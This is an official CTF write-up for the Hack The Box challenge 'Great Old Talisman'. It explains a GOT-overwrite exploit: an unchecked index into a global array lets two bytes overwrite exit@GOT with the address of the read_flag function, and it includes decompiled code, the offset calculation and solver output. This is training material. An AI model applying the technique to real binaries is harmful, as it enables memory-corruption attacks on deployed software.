Great Old Talisman

9th October 2023 / Document No. D23.102.122

Prepared By: `w3th4nds`

Challenge Author(s): `w3th4nds`

Difficulty: Easy

Classification: Official

Synopsis

- Great Old Talisman is an easy difficulty challenge that features overwriting `exit@GOT` with the address of the function that reads the flag.

Description

- Zombies are closing in from all directions, and our situation appears dire! Fortunately, we've come across this ancient and formidable Great Old Talisman, a source of hope and protection. However, it requires the infusion of a potent enchantment to unleash its true power.

Skills Required

- `RelRO`, `GOT table`.

Skills Learned

- Overwrite the address of a function in the `GOT table` with another address.

Enumeration

First of all, we start with a `checksec`:

```
pwndbg> checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols
FORTIFY FortifiedFortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   RW-RUNPATH   55)
Symbols   No  0
```

Protections 🛡️

As we can see:

Protection	Enabled	Usage
Canary	✅	Prevents **Buffer Overflows**
NX	✅	Disables **code execution** on stack
PIE	❌	Randomizes the **base address** of the binary
RelRO	**Partial**	Makes some binary sections **read-only**

As we can see, there is no `PIE` and `RelRO` is `Partial` instead of `Full`. Also, the name **G**reat **O**ld **T**alisman, refers to `GOT`, hinting us that the challenge is most likely vulnerable to `GOT` overwrite.

The program's interface

```
              |
              |
              |
              |
              |
              |
           ___|___
       .d$$$******$$$$c.
    .d$P'            '$$c
   $$$$$.           .$$$*$.
 .$$ 4$L*$$.     .$$Pd$  '$b
 $F   *$. '$$e.e$$' 4$F   ^$b
d$     $$   z$$$e   $$     '$.
$P     `$L$$P` `'$$d$'      $$
$$     e$$F       4$$b.     $$
$b  .$$' $$      .$$ '4$b.  $$
$$e$P'    $b     d$`    '$$c$F
'$P$$$$$$$$$$$$$$$$$$$$$$$$$$
 '$c.      4$.  $$       .$$
  ^$$.      $$ d$'      d$P
    '$$c.   `$b$F    .d$P'
      `4$$$c.$$$..e$$P'
```

```
          `^^^^^^^`'

This Great Old Talisman will protect you from the evil powers of zombies!

Do you want to enchant it with a powerful spell? (1 -> Yes, 0 -> No)

>> 1

Spell: hackthebox
```

Disassembly

Starting with `main()`:

```
void main(void)

{
  long in_FS_OFFSET;
  int local_14;
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  printf(
        "\nThis Great Old Talisman will protect you from the evil powers of zombies!\n\nDo you
want  to enchant it with a powerful spell? (1 -> Yes, 0 -> No)\n\n>> "
        );
  __isoc99_scanf(&DAT_00402376,&local_14);
  printf("\nSpell: ");
  read(0,talis + (long)local_14 * 8,2);
                    /* WARNING: Subroutine does not return */
  exit(0x520);
}
```

The challenge is pretty small and straightforward. There is a `scanf("%d", local_14);` that reads an integer and then a `read(0,talis + (long)local_14 * 8,2);`

Debugging

As we can see, there is no `return`, only `exit(0x520)`. Also, no overflow occurs anywhere, meaning the easiest way to proceed is by overwriting the address of `exit@GOT` with the address of `read_flag()`.

```
void read_flag(void)

{
  ssize_t sVar1;
  long in_FS_OFFSET;
  char local_15;
  int local_14;
```

```
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = open("./flag.txt",0);
  if (local_14 < 0) {
    perror("\nError opening flag.txt, please contact an Administrator.\n");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  while( true ) {
    sVar1 = read(local_14,&local_15,1);
    if (sVar1 < 1) break;
    fputc((int)local_15,stdout);
  }
  close(local_14);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

This function is the goal as it prints the flag. The only thing we need to understand to proceed, is what the `talis` global variable is and where it's stored. It's obvious that whatever we insert in the `scanf`, will be stored in `local_14`. After that, it reads up to 2 bytes in the address `talis` + `local_14 * 8`. Checking the address of `exit@GOT` and `talis` we see this:

```
exit@GOT  : 0x404080
Talis addr: 0x4040a0
```

So, if we subtract the address of `exit@GOT` and `talis`, and divide them by `8`, we get the right offset to overwrite the `exit@GOT`.

```
off = -(talis - exit) // 8
```

`PIE` is disabled and all the functions are known, making it easy to proceed with our exploit.

Solution

```
Running solver remotely at 0.0.0.0 1337

exit@GOT  : 0x404080
Talis addr: 0x4040a0

Flag --> HTB{f4k3_fl4g_4_t35t1ng}
```